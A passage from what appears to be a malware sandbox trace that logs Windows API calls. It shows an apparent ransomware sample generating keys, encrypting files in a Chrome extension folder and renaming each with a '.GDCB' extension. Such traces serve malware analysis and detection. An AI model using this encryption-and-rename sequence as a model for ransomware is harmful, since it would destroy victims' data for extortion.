dwFlags=0x0) returned 1 [0288.506] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0288.508] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.511] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.511] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0288.511] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0288.511] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0288.513] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a9570) returned 1 [0288.513] CryptGetKeyParam (in: hKey=0x67a9570, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0288.513] CryptEncrypt (in: hKey=0x67a9570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xd3e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0288.514] GetLastError () returned 0x0 [0288.514] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0288.514] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0288.515] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a9370) returned 1 [0288.515] CryptGetKeyParam (in: hKey=0x67a9370, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0288.515] CryptEncrypt (in: hKey=0x67a9370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xd3f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0288.516] GetLastError () returned 0x0 [0288.516] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.516] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0288.517] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd400000 [0288.520] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd410000 [0288.523] ReadFile (in: hFile=0x458, lpBuffer=0xd410000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xd410000*, lpNumberOfBytesRead=0x285d3e8*=0x1960, lpOverlapped=0x0) returned 1 [0288.530] VirtualAlloc (lpAddress=0x0, dwSize=0x1960, flAllocationType=0x3000, flProtect=0x4) returned 0xd520000 [0288.536] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.gdcb")) returned 1 [0288.541] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0288.544] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.547] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.547] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0288.547] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0288.547] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0288.549] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.551] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.552] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0288.552] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0288.552] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0288.554] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a9270) returned 1 [0288.554] CryptGetKeyParam (in: hKey=0x67a9270, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0288.554] CryptEncrypt (in: hKey=0x67a9270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xd3e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0288.554] GetLastError () returned 0x0 [0288.554] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.554] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0288.556] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x67a91b0) returned 1 [0288.556] CryptGetKeyParam (in: hKey=0x67a91b0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0288.556] CryptEncrypt (in: hKey=0x67a91b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xd3f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0288.556] GetLastError () returned 0x0 [0288.556] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.557] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0288.557] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd400000 [0288.561] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd410000 [0288.563] ReadFile (in: hFile=0x458, lpBuffer=0xd410000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xd410000*, lpNumberOfBytesRead=0x285d3e8*=0xb60, lpOverlapped=0x0) returned 1 [0288.571] VirtualAlloc (lpAddress=0x0, dwSize=0xb60, flAllocationType=0x3000, flProtect=0x4) returned 0xd520000 [0288.576] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js.gdcb")) returned 1 [0288.580] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0288.583] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.585] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.585] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0288.585] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.585] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0288.588] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.590] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.590] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0288.590] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0288.590] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0288.593] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x67a8ef0) returned 1 [0288.593] CryptGetKeyParam (in: hKey=0x67a8ef0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0288.593] CryptEncrypt (in: hKey=0x67a8ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3e0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0xd3e0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0288.593] GetLastError () returned 0x0 [0288.593] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.593] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0288.595] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x67a91f0) returned 1 [0288.595] CryptGetKeyParam (in: hKey=0x67a91f0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0288.595] CryptEncrypt (in: hKey=0x67a91f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3f0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0xd3f0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0288.595] GetLastError () returned 0x0 [0288.595] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.595] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0288.596] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd400000 [0288.600] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd410000 [0288.602] ReadFile (in: hFile=0x454, lpBuffer=0xd410000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0xd410000*, lpNumberOfBytesRead=0x285d670*=0x7e50, lpOverlapped=0x0) returned 1 [0288.610] VirtualAlloc (lpAddress=0x0, dwSize=0x7e50, flAllocationType=0x3000, flProtect=0x4) returned 0xd520000 [0288.618] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_cast_streaming.js.gdcb")) returned 1 [0288.642] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0288.646] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.649] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.649] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0288.649] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.649] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0288.653] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.655] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.655] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0288.655] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.655] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0288.658] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x67a93b0) returned 1 [0288.658] CryptGetKeyParam (in: hKey=0x67a93b0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0288.658] CryptEncrypt (in: hKey=0x67a93b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3e0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xd3e0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0288.658] GetLastError () returned 0x0 [0288.658] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0288.658] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0288.688] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x67a97f0) returned 1 [0288.688] CryptGetKeyParam (in: hKey=0x67a97f0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0288.688] CryptEncrypt (in: hKey=0x67a97f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3f0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xd3f0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0288.688] GetLastError () returned 0x0 [0288.688] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0288.688] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0288.689] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd400000 [0288.693] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd410000 [0288.695] ReadFile (in: hFile=0x528, lpBuffer=0xd410000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xd410000*, lpNumberOfBytesRead=0x285d160*=0x42a0, lpOverlapped=0x0) returned 1 [0288.703] VirtualAlloc (lpAddress=0x0, dwSize=0x42a0, flAllocationType=0x3000, flProtect=0x4) returned 0xd520000 [0288.709] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\messages.json.gdcb")) returned 1 [0288.741] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0288.744] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.747] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.747] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0288.747] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0288.747] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0288.749] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.751] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.751] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0288.751] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0288.752] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0288.754] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x67a9330) returned 1 [0288.754] CryptGetKeyParam (in: hKey=0x67a9330, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0288.754] CryptEncrypt (in: hKey=0x67a9330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3e0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xd3e0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0288.754] GetLastError () returned 0x0 [0288.754] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0288.754] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0288.756] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x67a95b0) returned 1 [0288.756] CryptGetKeyParam (in: hKey=0x67a95b0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0288.756] CryptEncrypt (in: hKey=0x67a95b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd3f0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xd3f0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0288.757] GetLastError () returned 0x0 [0288.757] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0288.757] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0288.758] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xd400000 [0288.761] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xd410000 [0288.763] ReadFile (in: hFile=0x528, lpBuffer=0xd410000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xd410000*, lpNumberOfBytesRead=0x285d160*=0x41f0, lpOverlapped=0x0) returned 1 [0288.771] VirtualAlloc (lpAddress=0x0, dwSize=0x41f0, flAllocationType=0x3000, flProtect=0x4) returned 0xd520000 [0288.777] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_br\\messages.json.gdcb")) returned 1 [0288.783] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0288.787] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0288.789] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0288.789] 